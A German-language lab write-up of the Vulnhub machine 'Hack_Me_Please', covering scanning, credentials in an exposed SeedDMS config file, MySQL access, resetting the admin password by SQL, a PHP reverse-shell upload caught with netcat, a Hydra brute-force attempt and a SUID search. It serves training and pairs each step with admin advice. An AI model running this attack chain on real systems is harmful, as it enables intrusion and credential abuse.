Hack_Me_Please - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
vi
gobuster
mysql (client)
hydra
find
nc (netcat)
python
su
sudo
cat
id
grep

Inhaltsverzeichnis

Reconnaissance

Wir starten mit der Identifizierung des Ziels im lokalen Netzwerk und einem grundlegenden Portscan.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:31:cb:df	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Erfolgreich. Ein Gerät mit der IP `192.168.2.114` wurde gefunden. Die MAC-Adresse (`08:00:27:31:cb:df`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Wir führen einen umfassenden Nmap-Scan durch, um offene Ports, Dienste und Betriebssysteminformationen zu sammeln.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 00:28 CEST
Nmap scan report for ubuntu (192.168.2.114)
Host is up (0.00047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome to the land of pwnland
|_http-server-header: Apache/2.4.41 (Ubuntu)
3306/tcp  open  mysql   MySQL 8.0.25-0ubuntu0.20.04.1
| mysql-info:
|   Protocol: 10
|   Version: 8.0.25-0ubuntu0.20.04.1
|   Thread ID: 40
|   Capabilities flags: 65535
|   Some Capabilities: SupportsLoadDataLocal, SwitchToSSLAfterHandshake, Support41Auth, ODBCClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, FoundRows, ConnectWithDatabase, InteractiveClient, LongColumnFlag, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, SupportsCompression, LongPassword, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: W8\x13'51UeK"v[-p3Vhl@c
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate
| Not valid before: 2021-07-03T00:33:15
|_Not valid after:  2031-07-01T00:33:15
|_ssl-date: TLS randomness does not represent time
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
MAC Address: 08:00:27:31:CB:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.47 ms ubuntu (192.168.2.114)

                    

Analyse: `nmap` mit Optionen für SYN-Scan (`-sS`), Standard-Skripte (`-sC`), schnelles Timing (`-T5`), OS-Erkennung (`-O`) und Aggressivität (`-A`) gegen alle TCP-Ports (`-p-`).

Bewertung: Der Scan identifiziert drei offene Ports:

Das Betriebssystem wird als Linux (Ubuntu basiert auf Apache/MySQL-Versionen) erkannt. Die Hauptangriffsvektoren sind der Webserver und die MySQL-Datenbank.

Empfehlung (Pentester): Untersuchen Sie den Webserver (Port 80) auf Inhalte und Schwachstellen. Versuchen Sie, sich mit der MySQL-Datenbank (Port 3306) zu verbinden (Standard-Passwörter? Anonym? Gefundene Credentials?). Recherchieren Sie MySQL X Protocol (Port 33060), obwohl es weniger häufig ein direkter Vektor ist.
Empfehlung (Admin): Aktualisieren Sie Apache und MySQL. Beschränken Sie den Netzwerkzugriff auf die MySQL-Ports (3306, 33060) nur auf notwendige Hosts. Verwenden Sie starke Datenbank-Passwörter.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.114 -p- | grep open
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
3306/tcp  open  mysql   MySQL 8.0.25-0ubuntu0.20.04.1
33060/tcp open  mysqlx?
                     

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die drei offenen Ports 80, 3306 und 33060.

Empfehlung (Pentester): Klare Übersicht der zu untersuchenden Dienste.
Empfehlung (Admin): Notwendigkeit der offenen Ports prüfen.

Ein Nikto-Scan wird gegen den Webserver durchgeführt.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.114
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2023-05-29 00:28:45 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 5cc0, size: 5c63607241df0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8103 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-05-29 00:29:09 (GMT2) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `nikto` scannt den Webserver auf Port 80.

Bewertung: Bestätigt die veraltete Apache-Version (2.4.41), fehlende Security Header und das ETag-Leak. Keine spezifischen Verzeichnisse oder Dateien wurden gefunden, was darauf hindeutet, dass die Webseite möglicherweise sehr einfach ist oder Nikto keine bekannten Muster erkannt hat.

Empfehlung (Pentester): Konzentrieren Sie sich auf die manuelle Untersuchung der Webseite und verwenden Sie Tools wie Gobuster zur Verzeichnis-/Datei-Enumeration.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie Security Header.

Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
  192.168.2.114    hackmeplease.hmv
                    

Analyse: Ordnet `hackmeplease.hmv` der IP `192.168.2.114` lokal zu.

Bewertung: Erleichtert die Ansprache.

Empfehlung (Pentester): Hostnamen verwenden.
Empfehlung (Admin): Keine Aktion.

Web Enumeration

Wir untersuchen den Webserver auf Port 80 weiter.

Analyse des Quellcodes der Startseite:

view-source:http://hackmeplease.hmv/index.html#

                    

Analyse: Der HTML-Quellcode der Startseite wird untersucht.

Bewertung: Der Kommentar enthüllt den Namen des verwendeten Templates ("Moonlight Template") und einen Link zur Quelle. Dies könnte nützlich sein, um Standardpfade oder bekannte Schwachstellen des Templates zu finden, ist aber meist von geringer Priorität.

Empfehlung (Pentester): Notieren Sie den Template-Namen für eventuelle spätere Recherchen. Konzentrieren Sie sich auf die Verzeichnis-Enumeration.
Empfehlung (Admin): Entfernen Sie unnötige Kommentare aus dem Produktionscode.

Wir führen einen Gobuster-Scan durch, um nach Verzeichnissen und Dateien zu suchen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.114 -x txt,php,[...],gz....
=============================================================== 
http://192.168.2.114/index.html           (Status: 200) [Size: 23744]
http://192.168.2.114/img                  (Status: 301) [Size: 312] [--> http://192.168.2.114/img/]
http://192.168.2.114/css                  (Status: 301) [Size: 312] [--> http://192.168.2.114/css/]
http://192.168.2.114/js                   (Status: 301) [Size: 311] [--> http://192.168.2.114/js/]
http://192.168.2.114/fonts                (Status: 301) [Size: 314] [--> http://192.168.2.114/fonts/]
=============================================================== 
                    

Analyse: Gobuster sucht nach gängigen Verzeichnissen und Dateien basierend auf einer Wortliste und Erweiterungen.

Bewertung: Findet nur Standard-Asset-Verzeichnisse (`img`, `css`, `js`, `fonts`), die oft mit Webseiten-Templates einhergehen. Keine Anwendungsverzeichnisse oder verdächtigen Dateien auf dieser Ebene gefunden.

Empfehlung (Pentester): Untersuchen Sie die Inhalte der gefundenen Verzeichnisse, insbesondere der JS-Dateien, auf Hinweise.
Empfehlung (Admin): Keine spezifische Aktion.

Zugriffsversuch auf ein gefundenes Verzeichnis:

Forbidden

You don't have permission to access this resource.
Apache/2.4.41 (Ubuntu) Server at hackmeplease.hmv Port 80
                    

Analyse: Versuch, das Verzeichnis `/css/fonts/` (oder ein ähnliches von Gobuster gefundenes) direkt aufzurufen.

Bewertung: Der Zugriff wird verweigert (Status 403 Forbidden). Directory Listing ist für dieses Verzeichnis deaktiviert.

Empfehlung (Pentester): Bestätigt, dass Directory Listing nicht überall aktiv ist. Fokus auf spezifische Dateien oder andere Verzeichnisse.
Empfehlung (Admin): Korrekte Konfiguration (Directory Listing sollte deaktiviert sein).

Analyse des Quellcodes einer JavaScript-Datei:

view-source:http://hackmeplease.hmv/js/main.js
        // give active class to first link
        //make sure this js file is same as installed app on our server endpoint: /seeddms51x/seeddms-5.1.22/
        $($('nav a')[0]).addClass('active');
                    

Analyse: Untersuchung des Inhalts der Datei `main.js`.

Bewertung: **Kritischer Fund!** Ein Kommentar im JavaScript-Code enthüllt explizit den Pfad zu einer Anwendung (`/seeddms51x/seeddms-5.1.22/`) und nennt die Anwendung (SeedDMS) sowie die Version (5.1.22). Dies ist ein wichtiges Informationsleck.

Empfehlung (Pentester): Navigieren Sie zu `http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/`. Recherchieren Sie nach bekannten Schwachstellen für SeedDMS 5.1.22. Führen Sie Gobuster gegen diesen neuen Pfad aus.
Empfehlung (Admin): Entfernen Sie sensible Informationen wie Pfade oder Anwendungsversionen aus Kommentaren in öffentlich zugänglichen Dateien (HTML, CSS, JS).

Wir führen Gobuster gegen den neu entdeckten SeedDMS-Pfad aus.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/ -x [...] -w "/usr/share/seclists/[...]" -b '403,404' -e --no-error
=============================================================== 
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/index.php            (Status: 302) [Size: 0] [--> /seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/doc                  (Status: 301) [Size: 344] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/doc/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/out                  (Status: 301) [Size: 344] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/out/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/install              (Status: 301) [Size: 348] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/install/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/languages            (Status: 301) [Size: 350] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/languages/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/styles               (Status: 301) [Size: 347] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/styles/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/inc                  (Status: 301) [Size: 344] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/inc/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/utils                (Status: 301) [Size: 346] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/utils/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/views                (Status: 301) [Size: 346] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/views/]
http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/op                   (Status: 301) [Size: 343] [--> http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/op/]
=============================================================== 
                    

Analyse: Gobuster scannt das spezifische Anwendungsverzeichnis `/seeddms51x/seeddms-5.1.22/`.

Bewertung: Findet die erwartete Verzeichnisstruktur einer SeedDMS-Installation. Die `index.php` leitet auf `out/out.ViewFolder.php` weiter, was wahrscheinlich die Hauptansicht nach dem Login ist. Das `/install/`-Verzeichnis ist vorhanden und könnte interessant sein.

Empfehlung (Pentester): Rufen Sie die Login-Seite auf (vermutlich unter `/out/out.Login.php`, wie im nächsten Schritt gezeigt). Überprüfen Sie das `/install/`-Verzeichnis auf Konfigurationsreste oder Hinweise.
Empfehlung (Admin): Entfernen Sie das `/install/`-Verzeichnis nach Abschluss der Installation.

Zugriff auf die SeedDMS-Loginseite:

URL: http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/out/out.Login.php?referuri=%2Fseeddms51x%2Fseeddms-5.1.22%2Fout%2Fout.ViewFolder.php

This is a classified area. Access is permitted only to authorized personnel.
Any violation will be prosecuted according to the national and international laws.
SeedDMS free document management system - www.seeddms.org
                    

Analyse: Die Login-Seite der SeedDMS-Anwendung wird aufgerufen.

Bewertung: Bestätigt den Zugang zur Anwendung. Standard-Login-Maske.

Empfehlung (Pentester): Suchen Sie nach Standard-Zugangsdaten für SeedDMS 5.1.22 (`admin/admin`? `seeddms/seeddms`?). Versuchen Sie Brute-Force, falls Benutzernamen bekannt sind. Suchen Sie nach Exploits für diese Version (RCE, LFI, SQLi?).
Empfehlung (Admin): Stellen Sie sicher, dass keine Standard-Zugangsdaten verwendet werden. Halten Sie SeedDMS aktuell.

Wir scannen das übergeordnete Verzeichnis `/seeddms51x/`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://hackmeplease.hmv/seeddms51x -x [...] -w "[...]" -b '403,404' -e --no-error
=============================================================== 
http://hackmeplease.hmv/seeddms51x/data                 (Status: 301) [Size: 330] [--> http://hackmeplease.hmv/seeddms51x/data/]
http://hackmeplease.hmv/seeddms51x/www                  (Status: 301) [Size: 329] [--> http://hackmeplease.hmv/seeddms51x/www/]
http://hackmeplease.hmv/seeddms51x/conf                 (Status: 301) [Size: 330] [--> http://hackmeplease.hmv/seeddms51x/conf/]
http://hackmeplease.hmv/seeddms51x/pear                 (Status: 301) [Size: 330] [--> http://hackmeplease.hmv/seeddms51x/pear/]

=============================================================== 
                    

Analyse: Gobuster scannt das Verzeichnis `/seeddms51x/`, das die eigentliche Anwendung enthält.

Bewertung: Findet wichtige Verzeichnisse wie `data` (enthält wahrscheinlich hochgeladene Dokumente), `www` (Webroot?) und vor allem `conf` (Konfigurationsverzeichnis).

Empfehlung (Pentester): Untersuchen Sie das `conf`-Verzeichnis. Suchen Sie nach Konfigurationsdateien, insbesondere `settings.xml` oder ähnlichem.
Empfehlung (Admin): Beschränken Sie den Web-Zugriff auf Konfigurations- und Datenverzeichnisse (z.B. durch `.htaccess` oder Apache-Konfiguration).

Untersuchung der Konfigurationsdatei `settings.xml`:



seeddms" dbPass="seeddms" doNotCheckVersion="false"> 


  

                    

Analyse: Der Inhalt der öffentlich zugänglichen `settings.xml`-Datei wird untersucht.

Bewertung: **Kritischer Fund!** Die Datei enthält die Zugangsdaten für die MySQL-Datenbank im Klartext: Benutzer `seeddms`, Passwort `seeddms`, Datenbank `seeddms` auf `localhost`.

Empfehlung (Pentester): Verwenden Sie diese Zugangsdaten, um sich mit dem MySQL-Dienst auf Port 3306 zu verbinden.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext in Konfigurationsdateien, die über das Web zugänglich sind. Beschränken Sie den Zugriff auf Konfigurationsdateien.

Database Enumeration

Wir nutzen die gefundenen Datenbank-Zugangsdaten, um uns mit MySQL zu verbinden und nach weiteren Informationen zu suchen.

┌──(root㉿cyber)-[~] └─# mysql -u seeddms -h hackmeplease.hmv -p
Enter password: seeddms
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 104
Server version: 8.0.25-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
                     

Analyse: Verbindung zum MySQL-Server auf `hackmeplease.hmv` (Port 3306) als Benutzer `seeddms` mit dem Passwort `seeddms`.

Bewertung: Erfolgreicher Login zur Datenbank.

Empfehlung (Pentester): Enumerieren Sie Datenbanken, Tabellen und Benutzerdaten.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Datenbank-Passwörter.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| seeddms            |
| sys                |
+--------------------+
5 rows in set (0.003 sec)
                     
MySQL [(none)]> use seeddms;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
                     
MySQL [seeddms]> show tables;
+------------------------------+
| Tables_in_seeddms            |
+------------------------------+
| tblACLs                      |
| tblAttributeDefinitions      |
// ... (viele SeedDMS Tabellen) ...
| tblUsers                     |
| tblVersion                   |
// ... (weitere SeedDMS Tabellen) ...
| users                        | // <-- Interessant!
+------------------------------+
43 rows in set (0.001 sec)
                     
MySQL [seeddms]> select * from users;
+-------------+---------------------+--------------------+-----------------+
| Employee_id | Employee_first_name | Employee_last_name | Employee_passwd |
+-------------+---------------------+--------------------+-----------------+
|           1 | saket               | saurav             | Saket@#$1337    |
+-------------+---------------------+--------------------+-----------------+
1 row in set (0.001 sec)
                     

Analyse: Wir listen die Datenbanken auf, wählen die `seeddms`-Datenbank aus und listen deren Tabellen auf. Neben den Standard-SeedDMS-Tabellen (`tblUsers` etc.) fällt eine zusätzliche Tabelle namens `users` auf. Wir fragen den Inhalt dieser `users`-Tabelle ab.

Bewertung: **Kritischer Fund!** Die Tabelle `users` scheint benutzerdefiniert zu sein und enthält Klartext-Zugangsdaten für einen Benutzer namens `saket` mit dem Passwort `Saket@#$1337`. Dies sind wahrscheinlich keine SeedDMS-Benutzer, sondern könnten Systembenutzer sein.

Empfehlung (Pentester): Versuchen Sie, sich mit `saket` / `Saket@#$1337` per SSH (Port 22) anzumelden. Überprüfen Sie auch die Tabelle `tblUsers` auf SeedDMS-spezifische Benutzer (z.B. `admin`).
Empfehlung (Admin): Speichern Sie niemals Klartext-Passwörter in Datenbanken. Verwenden Sie stattdessen sichere Hash-Verfahren (z.B. bcrypt, Argon2). Entfernen Sie unnötige oder Test-Tabellen wie `users`.

Versuch, das gefundene Passwort für `saket` mit Hydra gegen SSH zu testen (scheitert):

┌──(root㉿cyber)-[~] └─# hydra -l saket -P /usr/share/wordlists/rockyou.txt ssh://hackmeplease.hmv:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-29 01:18:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://hackmeplease.hmv:22/
[ERROR] could not connect to ssh://192.168.2.114:22 - Connection refused
                     

Analyse: Hydra versucht, das Passwort für `saket` via SSH zu bruteforcen, verwendet aber fälschlicherweise `rockyou.txt` statt des gefundenen Passworts. Der Versuch scheitert zudem mit "Connection refused".

Bewertung: Der Hydra-Aufruf ist fehlerhaft (falsche Passwortliste) und das Ergebnis "Connection refused" deutet auf ein Netzwerkproblem oder eine Firewall hin, die SSH blockiert (obwohl Nmap Port 22 als offen gemeldet hat - möglicherweise ein temporäres Problem oder eine Firewall-Regel, die speziell den Angreifer blockiert).

Empfehlung (Pentester): Überprüfen Sie die Erreichbarkeit von Port 22 erneut. Versuchen Sie eine direkte SSH-Verbindung mit `ssh saket@hackmeplease.hmv` und dem Passwort `Saket@#$1337`. Konzentrieren Sie sich alternativ auf den SeedDMS-Zugang.
Empfehlung (Admin): Überprüfen Sie Firewall-Regeln und die SSH-Server-Konfiguration.

Wir ändern das Passwort des `admin`-Benutzers in der SeedDMS-Datenbank.

MySQL [seeddms]> UPDATE tblUsers set pwd=md5('admin') where login='admin';
Query OK, ...
MySQL [seeddms]> SELECT login,pwd FROM tblUsers;
+-------+----------------------------------+
| login | pwd                              |
+-------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 | 
| guest | NULL                             |
+-------+----------------------------------+
                     

Analyse: Innerhalb der MySQL-Shell wird das Passwort für den Benutzer `admin` in der Tabelle `tblUsers` (die SeedDMS-Benutzertabelle) auf den MD5-Hash von "admin" gesetzt (`21232f297a57a5a743894a0e4a801fc3`). Eine anschließende Abfrage bestätigt die Änderung.

Bewertung: Erfolgreiche Manipulation der SeedDMS-Benutzerdatenbank. Wir haben das Passwort für den SeedDMS-Admin auf "admin" zurückgesetzt.

Empfehlung (Pentester): Loggen Sie sich nun in die SeedDMS-Webanwendung (`http://hackmeplease.hmv/seeddms51x/seeddms-5.1.22/`) mit den Zugangsdaten `admin` / `admin` ein.
Empfehlung (Admin): Datenbankzugriffe sollten streng überwacht und protokolliert werden. Verwenden Sie dedizierte, nicht leicht zu erratende Datenbank-Passwörter und beschränken Sie die Rechte des Datenbankbenutzers (hier `seeddms`) auf das absolut Notwendige.

Initial Access

Nachdem wir das Admin-Passwort für SeedDMS zurückgesetzt haben, loggen wir uns in die Webanwendung ein und versuchen, über eine Dateiupload-Funktion eine Reverse Shell zu erlangen.

Login in SeedDMS als admin/admin (erfolgreich, im Browser durchgeführt).

Analyse: Erfolgreicher Login in die SeedDMS-Weboberfläche.

Bewertung: Wir haben nun administrativen Zugriff auf das Dokumentenmanagementsystem.

Empfehlung (Pentester): Suchen Sie nach einer Funktion zum Hochladen von Dateien. Bereiten Sie eine PHP-Reverse-Shell vor.
Empfehlung (Admin): Keine Aktion.

Wir bereiten eine PHP-Reverse-Shell vor und laden sie über die Funktion "Add Document" in SeedDMS hoch.

┌──(root㉿cyber)-[~] └─# find / -iname php-reverse*php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
                     
# (Upload via SeedDMS UI: op/op.AddDocument.php)
File: revshell.php (configured with attacker IP/port)
Status: Uploaded
Document ID: 4
Path Hint: /seeddms51x/data/1048576/[DocID]/[Version].php => /seeddms51x/data/1048576/4/1.php
                    

Analyse: Zuerst wird lokal nach einem PHP-Reverse-Shell-Skript gesucht. Anschließend wird dieses Skript (nach Konfiguration mit der IP und dem Port des Angreifers) über die Weboberfläche von SeedDMS hochgeladen. Die Analyse (oder das Ausprobieren) ergibt, dass SeedDMS hochgeladene Dateien unter einem Pfad ablegt, der die Dokumenten-ID enthält (hier ID 4).

Bewertung: Die Reverse Shell wurde erfolgreich auf den Server hochgeladen und der Pfad zur hochgeladenen Datei (`/seeddms51x/data/1048576/4/1.php`) ist bekannt.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem konfigurierten Port (hier 9001). Rufen Sie dann die URL `http://hackmeplease.hmv/seeddms51x/data/1048576/4/1.php` im Browser auf, um die Reverse Shell auszulösen.
Empfehlung (Admin): SeedDMS (und ähnliche Anwendungen) sollten so konfiguriert werden, dass das Hochladen von ausführbaren Dateitypen (wie PHP) verhindert wird. Der Upload-Ordner sollte außerhalb des Webroots liegen oder zumindest keinen direkten Webzugriff mit Ausführungsrechten erlauben.

Wir starten den Netcat-Listener und rufen die URL der hochgeladenen Shell auf.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
# (Accessing http://hackmeplease.hmv/seeddms51x/data/1048576/4/1.php)
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.114] 34028
Linux ubuntu 5.8.0-59-generic #66~20.04.1-Ubuntu SMP Thu Jun 17 11:14:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 16:54:04 up  1:27,  0 users,  load average: 0.28, 0.32, 0.56
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: `nc -lvnp 9001` startet einen Listener auf Port 9001. Nach dem Aufruf der PHP-Shell-URL im Browser verbindet sich der Server zurück zum Listener.

Bewertung: Initial Access erfolgreich! Wir haben eine Reverse Shell als Benutzer `www-data` (der Benutzer, unter dem Apache/PHP läuft) erhalten.

Empfehlung (Pentester): Die Shell ist nicht interaktiv (`can't access tty`). Stabilisieren Sie die Shell (z.B. mit Python PTY) oder verwenden Sie sie direkt für weitere Enumeration und den Versuch der Privilegienerweiterung.
Empfehlung (Admin): Überwachung ausgehender Verbindungen. Einschränkung der Rechte des Webserver-Benutzers (`www-data`). Korrekte Konfiguration von Dateiuploads.

Proof of Concept (Privilege Escalation)

Dieser Abschnitt beschreibt, wie von der initialen Shell als `www-data` durch Ausnutzung wiederverwendeter Passwörter und `sudo`-Fehlkonfiguration Root-Rechte erlangt wurden.

Kurzbeschreibung: In der initialen `www-data`-Shell nutzen wir die zuvor in der Datenbank gefundenen Zugangsdaten für den Benutzer `saket`, um zu diesem Benutzer zu wechseln. Anschließend stellen wir fest, dass `saket` volle `sudo`-Rechte hat, was die Eskalation zu Root ermöglicht.

Voraussetzungen: Reverse Shell als `www-data`. Kenntnis der Zugangsdaten für `saket` (`Saket@#$1337`) aus der Datenbank-Enumeration.

Schritt 1: Suche nach SUID-Binaries (als www-data)

Wir suchen nach SUID-Dateien als ersten Schritt der lokalen Enumeration.

www-data@ubuntu:/$ find / -type f -perm -4000 -ls 2>/dev/null
  1049843     40 -rwsr-xr-x   1 root     root        39144 Jul 21  2020 /usr/bin/umount
  1049744     68 -rwsr-xr-x   1 root     root        67816 Jul 21  2020 /usr/bin/su
  1062480     16 -rwsr-xr-x   1 root     root        14728 Mar 17  2021 /usr/bin/vmware-user-suid-wrapper 
  1049521     32 -rwsr-xr-x   1 root     root        31032 Aug 16  2019 /usr/bin/pkexec
  1048761     84 -rwsr-xr-x   1 root     root        85064 May 27  2020 /usr/bin/chfn
  1049745    164 -rwsr-xr-x   1 root     root       166056 Jan 19  2021 /usr/bin/sudo
  1049029     88 -rwsr-xr-x   1 root     root        88464 May 27  2020 /usr/bin/gpasswd
  1048767     52 -rwsr-xr-x   1 root     root        53040 May 27  2020 /usr/bin/chsh
  1049397     44 -rwsr-xr-x   1 root     root        44784 May 27  2020 /usr/bin/newgrp
  1049362     56 -rwsr-xr-x   1 root     root        55528 Jul 21  2020 /usr/bin/mount
  1048948     40 -rwsr-xr-x   1 root     root        39144 Mar  7  2020 /usr/bin/fusermount
  1049467     68 -rwsr-xr-x   1 root     root        68208 May 27  2020 /usr/bin/passwd
  1056601    128 -rwsr-xr-x   1 root     root       130152 Nov 19  2020 /usr/lib/snapd/snap-confine
  1056396    464 -rwsr-xr-x   1 root     root       473576 May 29  2020 /usr/lib/openssh/ssh-keysign
  1051079     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
  1056412     24 -rwsr-xr-x   1 root     root        22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
  1050761     52 -rwsr-xr--   1 root     messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1058382     16 -rwsr-sr-x   1 root     root          14488 Jan 17  2021 /usr/lib/xorg/Xorg.wrap
  1058831    388 -rwsr-xr--   1 root     dip          395144 Jul 23  2020 /usr/sbin/pppd
      297    129 -rwsr-xr-x   1 root     root         131832 Apr 18 12:26 /snap/snapd/19122/usr/lib/snapd/snap-confine
       56     43 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /snap/core18/2745/bin/mount
       65     63 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /snap/core18/2745/bin/ping
       81     44 -rwsr-xr-x   1 root     root          44664 Nov 29  2022 /snap/core18/2745/bin/su
       99     27 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /snap/core18/2745/bin/umount
     1728     75 -rwsr-xr-x   1 root     root          76496 Nov 29  2022 /snap/core18/2745/usr/bin/chfn
     1730     44 -rwsr-xr-x   1 root     root          44528 Nov 29  2022 /snap/core18/2745/usr/bin/chsh
     1783     75 -rwsr-xr-x   1 root     root          75824 Nov 29  2022 /snap/core18/2745/usr/bin/gpasswd
     1847     40 -rwsr-xr-x   1 root     root          40344 Nov 29  2022 /snap/core18/2745/usr/bin/newgrp
     1860     59 -rwsr-xr-x   1 root     root          59640 Nov 29  2022 /snap/core18/2745/usr/bin/passwd
                     

Analyse: Der `find`-Befehl listet SUID-gesetzte Dateien auf.

Bewertung: Enthält Standard-SUID-Binaries wie `su`, `sudo`, `pkexec`. Keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren Dateien auf den ersten Blick. Pwnkit (`pkexec`) bleibt eine Option, aber wir haben bereits Anmeldedaten für `saket`.

Empfehlung (Pentester): Versuchen Sie, mit `su saket` und dem bekannten Passwort den Benutzer zu wechseln. Dies ist der direkteste Weg, basierend auf den Datenbank-Funden.
Empfehlung (Admin): Regelmäßige Überprüfung von SUID-Dateien. Patching von `polkit`.

